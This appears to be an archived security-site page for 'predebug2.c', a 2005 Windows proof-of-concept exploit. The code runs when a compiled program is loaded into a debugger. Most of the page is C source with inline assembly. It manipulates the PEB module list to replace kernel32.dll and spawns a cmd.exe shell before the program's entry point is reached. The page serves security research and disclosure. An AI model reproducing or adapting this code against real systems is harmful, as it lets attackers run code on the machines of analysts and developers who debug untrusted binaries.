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predebug2.c

predebug2.c
Posted Apr 20, 2005
Authored by Brett Moore SA | Site security-assessment.com

Example predebug code execution exploit, demonstrating how programmers being loaded into debuggers can attack the machine running the debugger.

tags | exploit, code execution
SHA-256 | 33ca07cc4db8f94578af6e6aae40cf6f4c90465438674f0c1438b9825c9a1273

predebug2.c

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/* 
-------------------------------------------------------------------------
- PREDEBUG 2 - The Kernel32 DLL Replacement
-
- Sample showing code execution upon loading in a debugger
- PREDEBUG loads its own copy of kernel32 which alters the
- entry address, removes the copy and loads the real
- kernel32.dll
-
- When compiled and loaded into a debugger, this code will
- cause a cmd.exe shell to be started before the executables
- entry point is reached.
-
- Needs to be compiled without optimisation
-
- brett.moore@security-assessment.com
-------------------------------------------------------------------------
*/
#define _WIN32_WINNT 0x501
#include <stdio.h>
#include <windows.h>
// Included From winternl.h
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
VOID (__stdcall *LdrLoadDl)(
IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle );
VOID (__stdcall *LdrUnloadDll)(
HINSTANCE pInstance
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

void predebug()
{
HMODULE hMod;
UNICODE_STRING nString;
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Grab the API addresses we require
hMod = GetModuleHandle("ntdll.dll");
LdrLoadDl = (void *) GetProcAddress(hMod, "LdrLoadDll");
LdrUnloadDll = (void *) GetProcAddress(hMod, "LdrUnloadDll");
RtlInitUnicodeString = (void *) GetProcAddress(
hMod,"RtlInitUnicodeString");
// Init the unicode string
RtlInitUnicodeString(&nString,L"kernel32.dll");
// Removes the 'system dll' check
_asm{
mov esi,fs:0x30 // Get Peb
add esi,0x0c // Move to PPROCESS_MODULE_INFO
lodsd // Get the pointer into EAX
mov esi,[eax + 0x1c] // InInitializationOrderModuleList
lodsd // Grab Next Pointer in eax
mov word ptr [eax+0x28],01 // Overwrite the 'load count'
}
// Get the address of our dll
hMod = GetModuleHandle("predebug.dll");
// Unload it
LdrUnloadDll(hMod);
// Load the real kernel32.dll
LdrLoadDl(NULL,NULL,&nString,&hMod);
// We are now in a state where we can execute code normally
GetStartupInfo(&si);
CreateProcess("c:\\winnt\\system32\\cmd.exe", NULL, NULL,
NULL, TRUE,CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
ExitProcess(1);
}

int main(int argc, char *argv[])
{
printf("Hello World....\n");
}
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